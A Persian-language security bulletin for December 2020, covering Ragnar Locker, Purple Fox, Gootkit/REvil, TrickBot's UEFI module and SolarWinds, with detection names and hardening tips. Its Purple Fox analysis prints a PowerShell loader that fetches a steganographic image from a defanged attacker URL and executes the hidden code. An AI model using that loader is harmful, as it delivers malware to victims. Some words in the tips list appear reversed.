
1
newsroom.shabakeh.net

مـاهنامـه امنـیـت فـنـاوری اطلاعـات |  آذر 1399



2
newsroom.shabakeh.net

مـاهنامـه امنـیـت فـنـاوری اطلاعـات |  آذر 1399

فـهـرسـت مـطـالـب

چـکـیـده مـدیـریـتـی ....................................................................... 3

هشـدارهـای امـنیتـی ........................................................................ 5

آسـیب پـذیری ها و اصـلاحیـه های امـنیتـی ............................................. 22

رویدادها و وقایع امنیتی .................................................................... 30

افتـای ریـاست جمهـوری بـا همکـاری شبـکـه گستـر .................................  33



3
newsroom.shabakeh.net

مـاهنامـه امنـیـت فـنـاوری اطلاعـات |  آذر 1399

چـکـیـده مـدیـریـتـی



4
newsroom.shabakeh.net

مـاهنامـه امنـیـت فـنـاوری اطلاعـات |  آذر 1399

در این شماره از ماهنامه امنیت فناوری اطلاعات شرکت مهندسی شبکه گستر به بررسی مهمترین رخدادها و رویدادهای مرتبط با امنیت 

فناوری اطلاعات در آذر 1399 پرداخته شده است.

در ماهی که گذشت مشخص شد که مهاجمان با بهره گیری از تکنیک موسوم به "زنجیره تأمین" پس از هک شرکت سولارویندز موفق 

به آلوده سازی یکی از فایل های نرم افزار ساخت این شرکت و در عمل تبدیل آن به یک درب پشتی شده بودند. در نتیجه این اقدام تعداد 

قابل توجهی از سازمان ها و شرکت های مطرح به تسخیر مهاجمان در آمدند. در این ماهنامه نحوه اجرای این حملات مورد کالبدشکافی 

و بررسی قرار گرفته است.

 Ragnarدر آذر ماه برخی نهادهای امنیتی نسبت به افزایش حملاتی خبر دادند که در جریان آنها مهاجمان اقدام به توزیع باج افزار

Locker در شبکه قربانی می کنند. Ragnar Locker از جمله باج افزارهایی است که مهاجمان آن، اهداف خود را به صورت خاص انتخاب 

کرده و پس از سرقت فایل ها و داده های بااهمیت اقدام به رمزگذاری و از دسترس خارج کردن فایل ها می کنند. در ادامه، قربانی تهدید 

می شود که در صورت عدم پرداخت مبلغ اخاذی شده، اطلاعات سرقت شده به صورت عمومی منتشر و افشا خواهد شد. جزییات کامل 

در خصوص عملکرد این باج افزار را در این ماهنامه بخوانید.

 Gootkit .به صحنه تهدیدات سایبری بازگشته است REvil نیز پس از غیبت یک ساله، اکنون با مشایعت باج افزار مخرب Gootkit

راه دور مهاجمان به دستگاه، ثبت  از  اعمال مخربی همچون فراهم کردن دسترسی  انجام  JavaScript است که  بر  بدافزاری مبتنی 

کلیدهای فشرده شده توسط قربانی و ضبط ویدئو از فعالیت های کاربر را برعهده دارد. همچنین Gootkit با تزریق اسکریپت های مخرب 

اقدام به سرقت اطلاعات اصالت سنجی حساب های بانکی می کند.

به  قادر  را  بدافزار اضافه کرده اند که آن  این  به  قابلیت جدیدی   TrickBot این ماهنامه خواهید خواند نویسندگان  همان طور که در 

تشخیص آسیب پذیر بودن ثابت افزار UEFI/BIOS و سوءاستفاده از آن می کند. کدهای مخربی که در ثابت افزار ذخیره می شوند به 

تنها در صورت تغییر سیستم عامل ماندگار  نه   ،UEFI/BIOS ثابت افزار  به  با دسترسی  بدافزارها  این نوع  بوت کیت معروف هستند. 

می مانند که حتی جایگزینی دیسک سخت نیز تأثیری در حضور آنها نخواهد داشت.

همچنین در این ماهنامه روت کیت پیشرفته Purple Fox مورد بررسی و تحلیل قرار گرفته است. لازم به ذکر است که در ماه های اخیر 

گزارش هایی مبنی بر مشاهده بدافزار Purple Fox بر روی سیستم های برخی از مؤسسات ایرانی به شرکت مهندسی شبکه گستر واصل 

شده است.

و  اس آپ  و  اپل  موزیلا،  گوگل،  وی اِم وِر،  ادوبی،  بیت دیفندر،  آفی،  مک  سیسکو،  سولارویندز،  مایکروسافت،  شرکت های   ،۱۳۹۹ آذر  در 

بنیادهای دروپل، آپاچی و اوپن اس اس ال اقدام به عرضه به روزرسانی و توصیه نامه امنیتی برای برخی محصولات خود کردند. جزییات 

این اصلاحیه ها و گزارش های متنوع دیگر در حوزه امنیت فناوری اطلاعات را در این ماهنامه بخوانید.

از زمان تأسیس در سال ۱۳۷۰، همواره به امر  ارائه دهنده محصولات و خدمات در زمینه امنیت شبکه  شرکت مهندسی شبکه گستر، 

آگاه سازی در زمینه امنیت فناوری اطلاعات به عنوان یکی از اصلی ترین راهکارهای مقابله با تهدیدات سایبری توجه خاص داشته است. 

امید است مطالب ماهنامه امنیت فناوری اطلاعات شرکت مهندسی شبکه گستر که حاصل تحقیق و پژوهش کارشناسان این شرکت 

است راهنمایی برای ارتقای دانش کاربران این حوزه باشد.
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افزایش فعالیت
Ragnar Locker باج افزار

FBI با انتشار هشداری از افزایش حملاتی خبر داده که در جریان آنها مهاجمان اقدام به توزیع باج افزار Ragnar Locker در شبکه 

قربانی می کنند.

Ragnar Locker از جمله باج افزارهایی است که مهاجمان آن، اهداف خود را به صورت خاص انتخاب کرده و پس از سرقت فایل ها 

و داده های بااهمیت اقدام به رمزگذاری و از دسترس خارج کردن فایل ها می کنند. در ادامه، قربانی تهدید می شود که در صورت عدم 

پرداخت مبلغ اخاذی شده، اطلاعات سرقت شده به صورت عمومی منتشر و افشا خواهد شد.

 Ragnar Locker در سال 2019 شناسایی شد. در ماه آوریل سال میلادی جاری، گردانندگان Ragnar Locker نخستین نسخه از

پس از سرقت و رمزگذاری فایل های یک شرکت بزرگ مبلغ 11 میلیون دلار را در ازای عدم افشای 10 ترابایت از داده های حساس آن 

شرکت اخاذی کردند. به گفته FBI پس از آن اتفاق بخش سایبری این نهاد ایالات متحده فعالیت های این بدافزار مخرب را به شدت 

زیر نظر داشته است.

در هشدار FBI اشاره شده که از آن زمان تا کنون فهرست اهداف و قربانیان Ragnar Locker به طور مستمر در حال افزایش بوده و 

حملات آنها شرکت های فعال در حوزه هایی همچون خدمات رایانش ابری، ارتباطات، ساخت وساز، سیر و سفر و نرم افزارهای سازمانی 

را شامل می شده است.

به گزارش شرکت مهندسی شبکه گستر، حملات گردانندگان Ragnar Locker محدود به ایالات متحده نبوده و مواردی از هدف قرار 

گرفتن شرکت های بزرگ در برخی کشورهای دیگر نیز گزارش شده است.

به نظر می رسد گردانندگان Ragnar Locker آنقدر انتشار اطلاعات رسوا کننده را ادامه می دهند تا قربانی ناچار به پرداخت مبلغ 

اخاذی شده شود.

بر طبق هشدار FBI گردانندگان Ragnar Locker از انواع تکنیک های مبهم سازی )Obfuscation( به منظور بی اثر کردن ابزارهای 

امنیتی بهره می گیرند.
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همچنین با راه اندازی یک ماشین مجازی با سیستم عامل Windows XP بر روی دستگاه قربانی فایل های مخرب خود را از دید 

از   Maze باج افزار  امنیتی سوفوس خبر داد که گردانندگان  نیز شرکت  امسال  تابستان  در  نگاه می دارد.  امنیتی مخفی  محصولات 

تکنیک اجرای ماشین مجازی در حملات خود بهره می برند.

Clop،و  Avaddon،و  Ako،و  از جمله باج افزارهای مطرحی که علاوه بر رمزگذاری، داده های قربانی را سرقت می کنند می توان به 

،Revil ،Pysa/Mespinoza ،Netwalker ،Nephilim ،Nemty ،MountLocker ،Maze ،DoppelPaymer ،CryLock

Snatch و Snake اشاره کرد. ،Sekhmet

لازم به ذکر است در یک سال اخیر تعداد حملات هدفمند باج افزاری به شرکت های بزرگ در ایران نیز افزایشی چشمگیر داشته است. 

متأسفانه تبعات اجرای موفق چنین حملاتی برای سازمان های قربانی بسیار پرهزینه و بعضاً جبران ناپذیر است.

موارد زیر از جمله نکاتی است که با رعایت آنها می توان سازمان را از گزند این تهدیدات مخرب ایمن نگاه داشت:	 

 	 )niamoD( تحت دامنه )lacoL( استفاده از رمزهای عبور پیچیده، هک نشده و غیرتکراری برای حساب های کاربری محلی

nimdAsyS/rotartsinimdA  سیستم عامل و پایگاه های داده، به ویژه حساب های با سطح دسترسی

غیرفعال کردن پودمان PDR یا حداقل تغییر درگاه پیش فرض آن	 

محدود کردن سطح دسترسی کاربران	 

اطمینان از نصب بودن اصلاحیه های امنیتی بر روی تمامی دستگاه ها	 

استفاده از ضدویروس قدرتمند و به روز با قابلیت نفوذیاب	 

استفاده از دیواره آتش در درگاه شبکه	 

هشدار FBI در لینک زیر قابل دریافت و مطالعه است:

https://beta.documentcloud.org/documents/20413525-fbi-flash-indicators-of-compromise-ragnar-

locker-ransomware-11192020-bc

https://newsroom.shabakeh.net/21748/maze-ransomware-encrypts-via-virtual-machines.html
https://newsroom.shabakeh.net/21748/maze-ransomware-encrypts-via-virtual-machines.html
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بدافزار Purple Fox؛
روت کیتی جاه طلب

در تیر ۱۳۹۹، شرکت پروف پوینت گزارش کرد که CVE-2020-0674 )در مرورگر Internet Explorer( و CVE-2019-1458 )در سیستم 

عامل Windows( نیز به فهرست آسیب پذیری های مورد بهره جویی Purple Fox افزوده شده است.

شرکت سنتینل وان هم در ۲۸ مهر ۱۳۹۹ اعلام کرد که Purple Fox مجهزتر از قبل قادر به بهره جویی از دو آسیب پذیری دیگر در سیستم 

عامل Windows با شناسه های CVE-2020-1054 و CVE-2019-0808 شده است.

توانایی سوءاستفاده از این تعداد بالا از آسیب پذیری ها سبب شده که بسیاری از شرکت های امنیتی Purple Fox را خود یک بسته 

بهره جو قلمداد کرده و از آن با عنوان Purple Fox EK یاد کنند.

در ماه های اخیر گزارش هایی مبنی بر مشاهده بدافزار Purple Fox بر روی سیستم های برخی از مؤسسات ایرانی به شرکت مهندسی 

شبکه گستر واصل شده است.

Purple Fox، بدافزاری است که خود در نقش دریافت کننده بدافزارهای دیگر عمل می کند.

در دو سال اخیر روش های حمله و سازوکارهای انتشار Purple Fox به طور مستمر در حال تکامل بوده است.

اولین بار در مهر 1۳97، شرکت چیهو ۳۶0 در مقاله ای انتشار این بدافزار را گزارش کرد.

 Scriptable  Nullsoft از  استفاده  بجای   Purple Fox گردانندگان  که  دادند  خبر  مایکرو  ترند  در شهریور 1۳98، محققان شرکت 

System Install - به اختصار NSIS - در فرایند اجرای این بدافزار، به بهره گیری از پروسه معتبر PowerShell روی آورده اند. با این 

 )Fileless( به جمع بدافزارهای بدون فایل Purple Fox ،)تکنیک )استفاده از یک پروسه معتبر سیستم عامل بجای فایل های مخرب

پیوست. 

تا آن زمان همچنان Purple Fox از طریق بسته بهره جوی )Exploit Kit( معروف RIG و سوءاستفاده از آسیب پذیری های زیر منتشر 

می شد:

 	Internet Explorer مرورگر VBScript Engine در بخش CVE-2018-8174 و CVE-2014-6332

 	Flash Player در نرم افزار CVE-2018-15982

 	Windows در سیستم عامل CVE-2018-8120 و CVE-2015-1701

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0674
https://www.proofpoint.com/us/blog/threat-insight/purple-fox-ek-adds-exploits-cve-2020-0674-and-cve-2019-1458-its-arsenal
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1054
https://blog.360totalsecurity.com/en/purple-fox-trojan-burst-out-globally-and-infected-more-than-30000-users/
https://blog.360totalsecurity.com/en/purple-fox-trojan-burst-out-globally-and-infected-more-than-30000-users/
https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System
https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System
https://www.trendmicro.com/en_ca/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html
https://www.trendmicro.com/en_ca/research/19/i/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell.html
https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System
https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2018-8174
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064
https://helpx.adobe.com/security/products/flash-player/apsb18-42.html
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2018-8120
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-051
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در ادامه این مطلب روش انتشار و برخی قابلیت های این بدافزار مخرب مورد بررسی و تحلیل قرار گرفته است.

هدف اصلی Purple Fox دریافت و توزیع بدافزارهای دیگر نظیر اسب های تروا، جاسوس افزارها، باج افزارها و استخراج کنندگان ارز رمز 

 PowerShell در فرایند دریافت و نصب بدافزارهای دیگر از پروسه معتبر Purple Fox .بر روی دستگاه قربانی است )Cryptominer(

بهره می گیرد.

ایمیل های  راه پیدا می کند. تبلیغات مخرب )Malvertising( و  از طریق سایت های حاوی بهره جو به دستگاه قربانی   Purple Fox

فیشینگ از اصلی ترین تکنیک های گردانندگان Purple Fox برای هدایت کاربر به این سایت ها محسوب می شوند. برای مثال تصویر 

 CVE-2020-0674 بهره جوی  را به سوی یک سایت حاوی  کاربر  را نمایش می دهد که   Popcash به  تبلیغ مخربی موسوم  زیر کد 

هدایت می کند.

به محض باز شدن هر یک از این سایت ها بر روی دستگاه آسیب پذیر، بدون هر گونه دخالت و اطلاع کاربر، فرایند آلودگی دستگاه به 

Purple Fox آغاز می شود.

در یکی از نمونه ها، بهره جو، پروسه mshta.exe را به همراه یک کد مخرب مبتنی VBScript اجرا می کند که در نتیجه آن پروسه 

PowerShell نیز فراخوانی می شود. در ادامه PowerShell کد مرحله بعد را دریافت و آن را در حافظه اجرا می کند.

 ،Administrator سطح دسترسی کاربر جاری را بر روی دستگاه مورد بررسی قرار می دهد. در صورت فراهم بودن دسترسی Purple Fox

یک بسته MSI از طریق سایت مهاجمان نصب می شود. در غیر این صورت بهره جویی از آن دسته از آسیب پذیری های موجود در فهرست 

خود را که از نوع ضعف های “ترفیع امتیازی” )Privilege Escalation( محسوب می شوند در دستور کار قرار می دهد.

نکته قابل توجه در خصوص نسخ جدید Purple Fox این که برخی کدهای مخرب دریافت شده توسط آن، فایل هایی تصویری هستند 

این  از  آنها جاسازی شده است. نمونه ای  )Binaries( در  ) Steganography(، کدهای دودویی  پنهان نگاری  بکارگیری تکنیک  با  که 

تصاویر در زیر قابل مشاهده است:

حداقل در نسخ جدید صفحات به اصطلاح فرود )Landing Page( این بدافزار به شدت رمزگذاری شده اند.
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نکته قابل توجه در خصوص نسخ جدید Purple Fox این که برخی کدهای مخرب دریافت شده توسط آن، فایل هایی تصویری هستند 

این  از  آنها جاسازی شده است. نمونه ای  )Binaries( در  ) Steganography(، کدهای دودویی  پنهان نگاری  بکارگیری تکنیک  با  که 

تصاویر در زیر قابل مشاهده است:

HKCU\ را در مسیر ”StayOnTop“ وجود کلیدی با عنوان Purple Fox لازم به ذکر است که تمامی اسکریپت های مورد استفاده

Zip-7\Software در محضرخانه )Regsitry( مورد بررسی قرار می دهند. احتمالاً هدف از این اقدام تشخیص اجرای موفق کد مخرب 

بر روی دستگاه است. بنابراین وجود چنین کلیدی می تواند نشانه ای از آلوده بودن دستگاه به Purple Fox باشد.

 Purple .آن است )Rootkit( را به یک بدافزار بسیار خطرناک تبدیل می کند عملکرد روت کیت Purple Fox از جمله ویژگی هایی که

رمزگذاری   )Shell Code( شل  کد  یک  حاوی  که   msi فایل  یک  اجرای  و  دریافت  به منظور   MsiInstallProductA تابع  از   Fox

محضرخانه ای  کلید   Purple Fox می شود.   )Restart( مجدد  راه اندازی  دستگاه  اجرا،  به محض  می کند.  استفاده  است  شده 

PendingFileRenameOperations را برای تغییر نام فایل های خود پس از راه اندازی مجدد مورد استفاده قرار می دهد.

کد مخرب از تصویر مذکور با استفاده از کدهای زیر استخراج می شود:

$uyxQcl8XomEdJUJd=’sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.

Bitmap))a Net.WebClient(.OpenRead)“http[:]//rawcdn[.]githack[.]cyou/up.php?key=3”((;$o=a 

Byte[] 589824;)0..575(|%{foreach)$x in)0..1023(({$p=$g.GetPixel)$x,$_(;$o[$_*1024+$x-

]=)[math]::Floor))$p.B-band15(*16(-bor)$p.G -band 15((}};IEX)[System.Text.Encoding]::ASCII.Get-

String)$o[0..589362]((’ IEX )A$uyAxQcl8XomEdJUJd(
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همچنین با ایجاد یک پروسه svchost با وضعیت معلق شده )Suspended( و تزریق یک DLL، یک راه انداز )Driver( با قابلیت 

روت کیتی را ایجاد می کند. این راه انداز از دو فایل زیر تشکیل شده است:

system%\drivers\dump_{random hex strings}.sys% که مسئول اجرای قابلت روت کیتی آن است.	 

system%\Ms{random hex}App.dll% که بخش اصلی روت کیت در قالب یک DLL است.	 

با تکمیل پروسه نصب روت کیت، فایل ها و مسیرهای محضرخانه ای مرتبط با بدافزار از دید کاربر و محصولات امنیتی مخفی شده و 

صرفاً با استفاده از ابزارهای خاص قابل شناسایی و تشخیص خواهند بود.

به نظر می رسد که قابلیت روت کیتی Purple Fox بر اساس ابزار کد باز )Open Source( زیر توسعه داده شده است:

https://github.com/JKornev/hidden

نمونه روت کیت های Purple Fox که توسط کارشناسان شرکت مهندسی شبکه گستر بر روی برخی دستگاه های متعلق به شرکت های 

ایرانی کشف شده با نام های زیر قابل شناسایی است:

Bitdefender:

• Trojan.GenericKD.43279379

McAfee:

• RDN/Generic.dx

• Artemis!BC26145F6316

Sophos:

• Mal/VMProtBad-A

نکته حائز اهمیت دیگر در مورد بدافزار Purple Fox، استفاده نویسندگان آن از VMProtect برای مبهم سازی )Obfuscation( و 

دشوار ساختن تحلیل فایل های مخرب برای مهندسان ویروس و ابزارهای امنیتی است. VMProtect ابزاری است که موجب اجرای کد 

در یک ماشین مجازی با معماری غیرمعمول می شود.

اطمینان از نصب کامل اصلاحیه های امنیتی، بکارگیری محصولات امنیت نقاط پایانی قدرتمند در کنار آموزش کاربران در پرهیز از کلیک 

بر روی لینک های ناآشنا همگی در کنار یکدیگر می توانند سازمان را از گزند این نوع تهدیدات مخرب حفظ کنند.

https://github.com/JKornev/hidden 
https://github.com/JKornev/hidden 
https://vmpsoft.com/
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اتحاد
جاسوس افزار و باج افزار

REvil به صحنه تهدیدات سایبری  باج افزار مخرب  با مشایعت  این بدافزار سارق اطلاعات  اکنون   ،Gootkit از غیبت یک ساله  پس 

بازگشته است.

Gootkit بدافزاری مبتنی بر JavaScript است که انجام اعمال مخربی همچون فراهم کردن دسترسی از راه دور مهاجمان به دستگاه، 

ثبت کلیدهای فشرده شده توسط قربانی و ضبط ویدئو از فعالیت های کاربر را برعهده دارد. همچنین Gootkit با تزریق اسکریپت های 

مخرب اقدام به سرقت اطلاعات اصالت سنجی حساب های بانکی می کند.

سال گذشته، داده های مرتبط با بدافزار Gootkit که در یک بانک داده MongoDB بر روی اینترنت در دسترس قرار گرفته بود افشا شد. 

پس از آن رسوایی، تا همین یک ماه قبل، خبری از گردانندگان Gootkit نبود.

اکنون مهاجمان در کارزاری جدید اقدام به اجرای Gootkit و در برخی موارد باج افزار REvil بر روی دستگاه قربانیان خود می کنند.

این مهاجمان با هک تالارهای گفتگوی اینترنتی )Forum( مبتنی بر WordPress و مسموم سازی SEO، مطالبی جعلی حاوی لینک 

را در این سایت ها درج می کنند.
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با کلیک کاربر بر روی لینک، یک فایل ZIP که در آن یک فایل JS با کدهای مبهم سازی شده )Obfuscated( قرار دارد دریافت می شود.

با سرور فرماندهی )C2( یک  ارتباط  برقراری  با  کارزار  این  JS استفاده شده در جریان  به گزارش شرکت مهندسی شبکه گستر، فایل 

اسکریپت دیگر را دریافت می کند. این اسکریپت دوم، Loader بدافزار Gootkit و در برخی موارد باج افزار REvil است.

نکته قابل توجه اینکه کدهای مخرب به صورت رشته های رمزگذاری شده در قالب Base64 یا شانزده شانزدهی )Hexadecimal( در 

یک فایل متنی )Text( یا پس از تکه تکه شدن در محضرخانه )Registry( که نمونه ای از آن در تصویر زیر قابل مشاهده است ذخیره 

می شوند.



14
newsroom.shabakeh.net

مـاهنامـه امنـیـت فـنـاوری اطلاعـات |  آذر 1399

در نهایت اسکریپت موسوم به Loader محتوای فایل متنی یا مقادیر محضرخانه را فراخوانی و رمزگشایی کرده و به صورت بدون فایل 

)Fileless( مستقیما کد را در حافظه اجرا می کند.

استفاده از کدهای مبهم سازی شده، تکه تکه کردن آنها و ذخیره شدن در محضرخانه عملا کار شناسایی را برای محصولات امنیتی بسیار 

دشوار می کند.

سرویس”  به عنوان  “باج افزار  خدمات  قالب  در  می شود  شناخته  نیز   Sodinokibi نام  با  که   REvil باج افزار  که  است  ذکر  به  لازم 

)Ransomware-as-a-Service - به اختصار RaaS( به تبهکاران سایبری اجاره داده می شود. در این خدمات نویسندگان باج افزار، 

نسخه ای از کد مخرب خود را به متقاضیان خدمت ارائه می دهند. متقاضی وظیفه انتشار باج افزار را بر عهده دارد که در صورت پرداخت 

شدن باج از سوی قربانی بخش عمده مبلغ )معمولا ۷۰ تا ۸۰ درصد( به او می رسد. باقی آن نیز )۲۰ تا ۳۰ درصد( سهم نویسندگان باج افزار 

یا در حقیقت ارائه دهندگان RaaS خواهد بود.

توضیح اینکه نمونه های اشاره شده در این مطلب با نام های زیر قابل شناسایی می باشند.

Bitdefender:

• Gen:Variant.Ursu.363652

• Gen:Trojan.Heur.ny4@IL4Ruzac

• Gen:Variant.Razy.795394

• Gen:Heur.MSIL.Krypt.6

• DeepScan:Generic.Ransom.Sodinokibi.DFEFA435

McAfee:

• GenericRXMM-IJ!28FC2DDBFD61

• GenericRXAA-FA!F8C308FEAFE4

• GenericRXIN-MB!84CC11BD25F9

• Artemis!E5FABE055AE7

• Artemis!F2E9B4BBB543

Sophos:

• Mal/Generic-R

• Mal/Generic-S

• Troj/MSIL-PZR

• Troj/Spy-BCW
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آلوده سازی UEFI؛
TrickBot قابلیت جدید

 Unified قابلیت جدیدی به این بدافزار اضافه کرده اند که آن را قادر به تشخیص آسیب پذیر بودن ثابت افزار TrickBot نویسندگان

Extensible Firmware Interface - به اختصار UEFI - و سوءاستفاده از آن می کند.

کدهای مخربی که در ثابت افزار )Firmware( ذخیره می شوند به بوت کیت )Bootkit( معروف هستند. این نوع بدافزارها با دسترسی 

به ثابت افزار UEFI، نه تنها در صورت تغییر سیستم عامل ماندگار می مانند که حتی جایگزینی دیسک سخت نیز تأثیری در حضور آنها 

نخواهد داشت.

از آنجا که بدافزارهای بوت کیت قبل از همه چیز از جمله سیستم عامل اجرا می شوند عملاً از دید محصولات امنیتی همچون ضدویروس 

مخفی می مانند. همچنین این نوع بدافزارها بر روی پروسه راه اندازی سیستم عامل کنترل کامل داشته و می توانند سیستم های دفاعی 

را در بالاترین سطح ناکارامد کنند. ضمن آنکه راه اندازی بوت کیت در اولین مرحله بالا آمدن دستگاه، سازوکار Secure Boot را هم که 

وابسته به یکپارچگی )Integrity( ثابت افزار است بی اثر می کند.

محققان شرکت های Advanced Intelligence و Eclypsium در گزارشی که ۱۳ آذر ماه آن را منتشر کردند جزییات فنی ماژول جدید 

TrickBot را مورد بررسی قرار داده اند.

این ماژول TrickBot در نقش یک ابزار شناسایی )Reconnaissance( عمل کرده و آسیب پذیر بودن ثابت افزار UEFI ماشین آلوده 

را بررسی می کند.

Comet Lake در فهرست  Coffee Lake و  Kaby Lake،و  Skylake،و  Intel شامل  در حال حاضر تنها بسترهای ساخت شرکت 

اهداف آن قرار دارند

به گفته این محققان اگر چه در نمونه های بررسی شده توسط آنها، ماژول مذکور تنها به تشخیص آسیب پذیر بودن UEFI بسنده می کند 

اما این احتمال نیز از سوی آنها مطرح شده که دامنه فعالیت آن بر روی اهداف باارزش تر ممکن است گسترده تر و مخرب تر باشد. 

به خصوص آنکه ماژول مذکور شامل کدی است که امکان خواندن، نوشتن و پاک کردن ثابت افزار را هم فراهم می کند.

RwDrv. .را بررسی می کند UEFI/BIOS در Write Protection فعال بودن RwDrv.sys با استفاده از فایل TrickBot این ماژول

sys راه انداز RWEverything - برگرفته از عبارت Read Write Everything - است. RWEverything ابزاری رایگان جهت دسترسی 

 UEFI/BIOS که بخشی از داده های ثابت افزار - SPI به اختصار - Serial Peripheral Interface به اجزای سخت افزاری نظیر حافظه

بر روی آن نگهداری می شود است.
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 RWEverything را به صورت عمومی منتشر کرد که در آن نیز از LoJax جزییات بوت کیت دیگری با نام ESET دو سال قبل شرکت

بهره گرفته شده بود.

اگر چه سیستم های مدرن امروزی مجهز به Write Protection در ثابت افزار UEFI/BIOS خود هستند اما اغلب یا غیرفعالند یا به طور 

نادرست پیکربندی شده اند.

این محققان نسخه جدید TrickBot را که مجهز به ماژول UEFI است TrickBoot نامگذاری کرده اند.

در این نسخه جدید از توابع و کتابخانه یک ابزار بهره جوی شناخته شده با نام fwexpl برای اهداف زیر استفاده شده است:

خواندن داده ها از روی درگاه های ورودی/خروجی )IO( سخت افزاری	 

فراخوانی راه انداز sys برای نوشتن داده ها بر روی درگاه های ورودی/خروجی سخت افزاری	 

فراخوانی راه انداز sys برای خواندن داده ها از روی نشانی های حافظه فیزیکی	 

فراخوانی راه انداز sys برای نوشتن داده ها بر روی نشانی های حافظه فیزیکی	 

نکته قابل توجه اینکه ماژول جدید TrickBot حاوی باگی است که عملکرد آن را در مواقعی دچار خطا می کند.

https://newsroom.shabakeh.net/20101/lojax.html
https://github.com/Cr4sh/fwexpl
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در حال حاضر هزاران دستگاه در تسخیر TrickBot قرار دارند.

اطلاعات موسوم به دوری سنجی )Telemetry( شرکت Advanced Intelligence نشان می دهد که در فاصله ۱۲ مهر تا ۱ آذر، روزانه 

حداقل ۲۰۰ تا ۴ هزار دستگاه به TrickBot آلوده می شده است که البته در برخی روزها این تعداد به ۴۰ هزار مورد نیز افزایش می یافته 

است.

به گزارش شرکت مهندسی شبکه گستر، انگیزه های مالی گردانندگان TrickBot سبب گردیده که در بسیاری مواقع این بدافزار در نقش 

ناقل بدافزارهای دیگر عمل کند. از جمله این بدافزارها می توان به باج افزارهای Ryuk و Conti اشاره کرد. در آبان امسال، گردانندگان 

Ryuk تنها از یک قربانی ۲۲۰۰ بیت کوین - معادل بیش از ۱۷۱ میلیارد تومان - اخاذی کردند.

ماندگاری TrickBot در سطح UEFI می تواند آن را به ابزاری برای جاسوسی از روی دستگاه اهداف باارزش تبدیل کند. یا با اجرای 

عملیات مخرب آن را هم رده بدافزارهای موسوم به Wiper قرار دهد.

تا پیش از این، بکارگیری این تهدیدات محدود به گروه های نفوذگری با منابع نامحدود و حملات هدفمند بود. اما این اقدام نویسندگان 

TrickBot می تواند نشانه ای از آغاز فراگیری این روش ماندگاری باشد.

تشخیص آلوده بودن دستگاه به بدافزاری در سطح UEFI کار دشواری است.

یکی از مؤثرترین راهکارها، پیشگیری از آلوده شدن دستگاه به این نوع بدافزارهاست. بدین منظور ارتقا به آخرین نسخ ثابت افزارها برای 

ترمیم آسیب پذیری های آنها و بهره گیری از محصولات پیشرفته امنیت نقاط پایانی توصیه می شود.
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شرکت امنیتی McAfee از نخستین شرکت های امنیتی است که مقابله با تهدیدات مبتنی بر UEFI را در دستور کار قرار داد. در سال 

۱۳۹۵ سایت افشاگر WikiLeaks اقدام به انتشار اسنادی سری کرد که در آنها ابزارهای مورد استفاده در عملیات های سایبری سازمان 

اطلاعات مرکزی آمریکا تشریح شده بودند. برخی از این اسناد نشان می داد که این سازمان با بهره جویی از آسیب پذیری هایی روز صفر، 

 McAfee تزریق می کرده است. در پی درز اسناد مذکور در آن سال، شرکت UEFI کد مخرب را مستقیماً به ثابت افزار دستگاه ها از جمله

در  و  UEFI دستگاه ها منتشر  روی  بر  کد مخرب  برای تشخیص وجود  را   CHIPSEC عنوان  با   )Open-source( کد-باز  چهارچوبی 

دسترس قرار داد. آخرین نسخه CHIPSEC که در تاریخ ۳۰ آبان ماه عرضه شد در اینجا قابل دسترس است.

مقایسه درهم ساز )Hash( ثابت افزارها نیز می تواند در شناساییUEFI  حاوی کد مخرب کارگشا باشد.

مشروح گزارش Advanced Intelligence و Eclypsium از طریق لینک زیر قابل مطالعه است:

https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/

همچنین نمونه فایل های مخرب مورد اشاره در گزارش مذکور با نام های زیر قابل شناسایی است:

	 Bitdefender: Gen:Trojan.Heur.jy5@Ibi!Dxoi

• McAfee: Trojan-FTAQ!491115422A6B

• Sophos: Mal/Generic-S

https://fa.wikipedia.org/wiki/%D8%AD%D9%85%D9%84%D9%87_%D8%B1%D9%88%D8%B2_%D8%B5%D9%81%D8%B1
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محصولات مک آفی
و تهدیدات مرتبط با سولارویندز

18 آذر، شرکت امنیتی فایرآی )FireEye( رسماً اعلام کرد که سیستم هایش در جریان حمله ای بسیار پیچیده، مورد رخنه قرار گرفته است. 

به گفته فایرآی، مهاجمان این حمله با بکارگیری تکنیک های جدید موفق به سرقت ابزارهایی دیجیتال شده اند که این شرکت از آنها با 

عنوان Red Team یاد می کند. فایرآی از ابزارهای Red Team به منظور شناسایی آسیب پذیری سیستم ها در شبکه مشتریان خود 

استفاده می کرده است. گفته می شود که از این ابزارها به شدت مراقبت می شده است.

در آن زمان تصور می شد که هدف اصلی مهاجمان، سرقت ابزارهای Red Team بوده است.

اما خیلی زود مشخص شد که اهداف حملات بسیار گسترده تر از یک شرکت امنیتی بوده و بسیاری از شرکت ها و حتی سازمان ها و 

نهادهای مطرح نه فقط در ایالات متحده که در کشورهای متعدد در تسخیر مهاجمان قرار گرفته بودند.
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تمامی شرکت ها و سازمان های هک شده در یک چیز مشترک هستند و آن استفاده از نرم افزار SoalrWinds است.

به  موفق  از هک شرکت سولارویندز  )Supply Chain( پس  تأمین  زنجیره  به  تکنیک موسوم  از  بهره گیری  با  این حملات  مهاجمان 

یک  به  آن  تبدیل  عمل  در  و   SoalrWinds.Orion.Core.BusinessLayer.dll نام  با   Orion نرم افزار  فایل های  از  یکی  آلوده سازی 

درب پشتی )Backdoor( شده بودند.

